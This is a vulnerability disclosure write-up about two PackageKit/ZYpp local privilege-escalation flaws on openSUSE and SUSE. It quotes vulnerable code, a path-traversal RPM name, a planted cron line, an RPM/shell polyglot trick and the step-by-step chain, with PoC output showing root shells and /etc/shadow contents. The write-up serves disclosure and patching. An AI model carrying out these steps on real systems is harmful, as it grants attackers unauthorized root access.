When PackageKit and ZYpp disagree: CVE-2026-104619 and CVE-2026-104620
PackageKit is a root-owned service on the system D-Bus. Local clients send it package-management requests. Depending on the request, PackageKit either asks polkit or decides that no check is required, then hands the work to a distro backend. On SUSE, that’s ZYpp. I wanted to see whether ZYpp stayed within the operation PackageKit had allowed. It didn’t: I found two ways to make them disagree.
The first bug was a signed-package rollback. An active desktop user could
submit an older signed package as a normal update: PackageKit authorized
system-update, then ZYpp installed it as root. SUSE PSIRT assigned
CVE-2026-104619. I
used it to roll PackageKit back to a build affected by public
CVE-2026-41651,
then installed a small RPM whose %post opened a root shell. The chain was
rebootless on fully updated openSUSE Leap 16.0 and SLED 15 SP7 VMs.
The second bug made InstallFiles(SIMULATE) copy an RPM as root without
authorization. The RPM Name controlled the destination, so .. escaped the
staging directory. SUSE PSIRT assigned
CVE-2026-104620. A
successful GetUpdates refresh then made libzypp execute the planted RPM from
its appdata plugin directory as root.
For the second chain, all I needed was a regular SSH account. It went straight to root without a desktop session, sudo, a reboot or installing a package. This is what I reproduced on the builds I tested in October 2026:
| Product | CVE-2026-104619: rollback to LPE | CVE-2026-104620: direct LPE |
|---|---|---|
| openSUSE Leap 16.0 | Root shell from active GNOME session | Root from a regular SSH account |
| SLED 15 SP7 | Root shell from active GNOME session | Root from a regular SSH account |
| SLES 15 SP7 | Blocked by stricter policy | Root from a regular SSH account |
| SLES 16.0 | Not tested | Root from a regular SSH account |
| openSUSE Tumbleweed | Exact older ID ignored; no rollback | Root from a regular SSH account |
CVE-2026-104619: downgrading through UpdatePackages
The D-Bus interface accepts exact package IDs and transaction flags. One flag decides which polkit action is used:
| Request | Flags | Polkit action on Leap/SLED |
|---|---|---|
UpdatePackages(ONLY_TRUSTED, [old_id]) |
2 |
org.freedesktop.packagekit.system-update |
UpdatePackages(ONLY_TRUSTED|ALLOW_DOWNGRADE, [old_id]) |
66 |
org.freedesktop.packagekit.package-downgrade |
The Leap/SLED policy allows system-update for an active user, while
package-downgrade requires administrator authentication. PackageKit selects
the action from the caller-supplied ALLOW_DOWNGRADE bit
(PackageKit v1.2.8, src/pk-transaction.c:2829-2841).
On the Leap/SLED path, ZYpp then resolves the complete caller-supplied package ID and marks that exact solvable for installation:
ui::Selectable::Ptr sel( ui::Selectable::get( solvable ));
PoolItem item(solvable);
// patches are special - they are not installed and can't have update candidates
if (sel->kind() != ResKind::patch) {
MIL << "sel " << sel->kind() << " " << sel->ident() << endl;
if (sel->installedEmpty()) {
zypp_backend_finished_error (job, PK_ERROR_ENUM_DEP_RESOLUTION_FAILED, "Package %s is not installed", package_ids[i]);
return;
}
}
item.status ().setToBeInstalled (ResStatus::USER);
It never checks whether the requested package is ZYpp’s current update
candidate (sel->updateCandidateObj()), and it does not reject an older edition
when ALLOW_DOWNGRADE is absent. ZYpp still resolves
dependencies, so matching older packages can be installed without forcing the
RPM database.
PackageKit used to stop this. The 2013 fix for
CVE-2013-1764
replaced the requested package
with ZYpp’s update candidate and failed if no candidate existed.
Commit 209aa62950e5,
committed on 2024-09-12, removed both steps because it assumed the incoming list
already contained the packages to install. On the system bus, however, those
package IDs come from an untrusted client and reach the root ZYpp backend.
On a fresh Leap 16 GNOME VM, a normal update request moved PackageKit backwards:
before=PackageKit-1.2.8-160000.5.1.x86_64
target=PackageKit;1.2.8-160000.3.1;x86_64;openSUSE:repo-oss
flags=2
Finished exit=1
after=PackageKit-1.2.8-160000.3.1.x86_64
Finished exit=1 is PackageKit’s numeric success status. With flags 66,
PackageKit selected package-downgrade, failed with Failed to obtain authentication, and left .5.1 installed.
For the actual exploit, I rolled PackageKit itself back to .3.1, a build
predating the fix for public CVE-2026-41651. The older daemon’s
transaction re-invocation flaw let the PoC make PackageKit trust a loopback RPM
repository and install a small package whose %post ran as root.
CVE-2026-41651 is the second stage, not the cause of the rollback.
On Leap, that got me root:
poc@localhost:~> python3 poc.py --root-shell
[*] uid=1001, mode=root shell
[*] 1/4 rolling back PackageKit
[+] PackageKit-1.2.8-160000.3.1.x86_64
[*] 2/4 preparing signed local repository
[*] 3/4 installing proof package
[*] 4/4 restoring official repository
[+] root shell ready (euid 0)
[+] opening bash
bash-5.2# whoami
root
bash-5.2# id
uid=1001(poc) gid=1001(poc) euid=0(root) groups=1001(poc) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-5.2# head -n2 /etc/shadow
root:!:20730::::::
ftp:!:20730::::::
Tumbleweed was not affected. Its backend checks is_tumbleweed() and calls
upgrade_system() before reaching the package-ID loop
(PackageKit v1.4.0, pk-backend-zypp.cpp:3579-3585).
PackageKit returned success without downgrading anything, while Zypper
installed the same old package directly. The backend had taken the full
distribution-upgrade path instead of processing the requested ID.
CVE-2026-104620: SIMULATE still copies the RPM
The second bug starts elsewhere and needs none of that rollback chain. A real
installation of an unsigned local RPM maps to
org.freedesktop.packagekit.package-install-untrusted. With the SIMULATE
flag, PackageKit does not ask polkit at all
(PackageKit v1.2.8, src/pk-transaction.c:2890-2927):
if (pk_bitfield_contain (transaction->priv->cached_transaction_flags,
PK_TRANSACTION_FLAG_ENUM_ONLY_DOWNLOAD) ||
pk_bitfield_contain (transaction->priv->cached_transaction_flags,
PK_TRANSACTION_FLAG_ENUM_SIMULATE) ||
priv->skip_auth_check == TRUE) {
g_debug ("No authentication required");
pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
return TRUE;
}
SIMULATE does not stop ZYpp from copying the RPM first
(PackageKit v1.2.8, pk-backend-zypp.cpp:2562-2569):
// copy the rpm into tmpdir
string tempDest = tmpDir.path ().asString () + "/" + rpmHeader->tag_name () + ".rpm";
if (zypp::filesystem::copy (full_paths[i], tempDest) != 0) {
zypp_backend_finished_error (
job, PK_ERROR_ENUM_LOCAL_INSTALL_FAILED,
"Could not copy the rpm-file into the temp-dir");
return;
}
tag_name() comes from the unsigned, attacker-controlled RPMTAG_NAME. The
backend never checks that the normalized destination remains beneath tmpDir.
libzypp’s copy helper
eventually starts:
/bin/cp --remove-destination -- attacker.rpm destination
The write has three constraints: the source has to parse as an
RPM,
the backend always adds .rpm to the target path, and the file written is the
RPM itself.
Gadgets
Cronie: first try
Cronie was the obvious first target. It does not reject the .rpm suffix. It
logged the binary package data as malformed lines, then
reached a valid entry stored in an RPM header field:
* * * * * root /usr/bin/id >/tmp/proof; rm -f /etc/cron.d/a.rpm
That got UID 0 :-) It was still a poor final gadget: it added Cronie to the chain, the trigger could take a minute, and the parser errors were noisy.
libzypp appdata: the cleaner chain
The better gadget was already sitting in libzypp:
/usr/lib/zypp/plugins/appdata
The directory is root-owned, so I cannot write there directly. PackageKit can. The PoC uses this RPM name:
../../../../usr/lib/zypp/plugins/appdata////////a
which resolves to /usr/lib/zypp/plugins/appdata/a.rpm.
A successful repository refresh
marks the RepoManager dirty.
When that root RepoManager is destroyed, its destructor scans the directory
(libzypp 17.38.15, repomanager.cc:274-284):
for_( it, entries.begin(), entries.end() )
{
zypp::PathInfo pi( *it );
//DBG << "/tmp/xx ->" << pi << endl;
if ( pi.isFile() && pi.userMayRX() )
{
// trigger plugin
cmd[2] = pi.asString(); // [2] - PROGRAM
zypp::ExternalProgram prog( cmd, zypp::ExternalProgram::Stderr_To_Stdout );
}
}
The .rpm suffix means nothing to this loader. PackageKit copied the file as
an RPM; libzypp now sees an executable regular file in its appdata plugin
directory and launches it as a plugin.
Firing it is simple: the PoC calls PackageKit’s unauthenticated GetUpdates
query. The ZYpp backend refreshes repositories before returning updates.
Once that refresh succeeds, the dirty RepoManager runs the appdata scan as it
is destroyed.
RefreshCache requires polkit authorization. GetUpdates does not, and it
reaches the same loader.
The appdata path avoids Cronie and the one-minute delay. It also needs an enabled repository that refreshes successfully. Without that refresh, the RPM still lands as root, but libzypp does not run it.
The RPM/shell polyglot
The planted file must be both a valid RPM and something the execution path can
hand to a shell. The PoC uses the legacy 96-byte RPM lead for a newline and
heredoc opener. RPMTAG_DESCRIPTION holds the terminator and command.
Changing the Description invalidates the RPM’s stored checksums. The builder
recalculates them, leaving a package that RPM tools still accept.
To /bin/sh, the useful part looks like this:
: <<'RPMEND'
... RPM bytes before RPMTAG_DESCRIPTION ...
RPMEND
/bin/sh /tmp/pkz/h;rm -f "$0";exit
... remaining RPM bytes ...
When libzypp launches the file, its spawn engine calls
execvp().
The underlying execve() fails with ENOEXEC, so glibc retries the file
through /bin/sh. The heredoc skips forward to its terminator in
RPMTAG_DESCRIPTION; the next line starts /tmp/pkz/h, removes the planted
file and exits before the shell reaches the remaining RPM bytes. The RPM has
no scriptlets and is never installed.
libzypp only runs files that root can execute.
/bin/cp --remove-destination kept the RPM’s mode, so a 0644 payload landed
as root but stopped at userMayRX(). Since the attacker owns the source RPM,
chmod 0755 payload.rpm is enough.
A setuid shell in /tmp was a dead end on Tumbleweed because /tmp was
mounted nosuid. Moving it elsewhere would only make the PoC depend on the
target’s mount layout.
With the payload ready, I can pop a root shell like this:
- I send
InstallFiles(SIMULATE)with the crafted RPM; PackageKit hands it to the root ZYpp backend. - The malicious RPM
Namemakes the backend copy it into/usr/lib/zypp/plugins/appdata/. GetUpdatesneeds no authentication; its refresh leavesRepoManagerdirty.- Its destructor scans the appdata directory and starts the executable RPM as a plugin.
- The command in
RPMTAG_DESCRIPTIONstarts a PTY helper that the PoC staged in/tmp. - I connect to its Unix socket and get an interactive root shell.
$ chmod 0755 payload.rpm
$ python3 pwn.py
[*] sending simulated install
[*] triggering appdata refresh
[+] opening root bash
bash-5.3# id
uid=0(root) gid=0(root) groups=0(root)
Nothing else to see here. More when the next distro ships its fixes. :)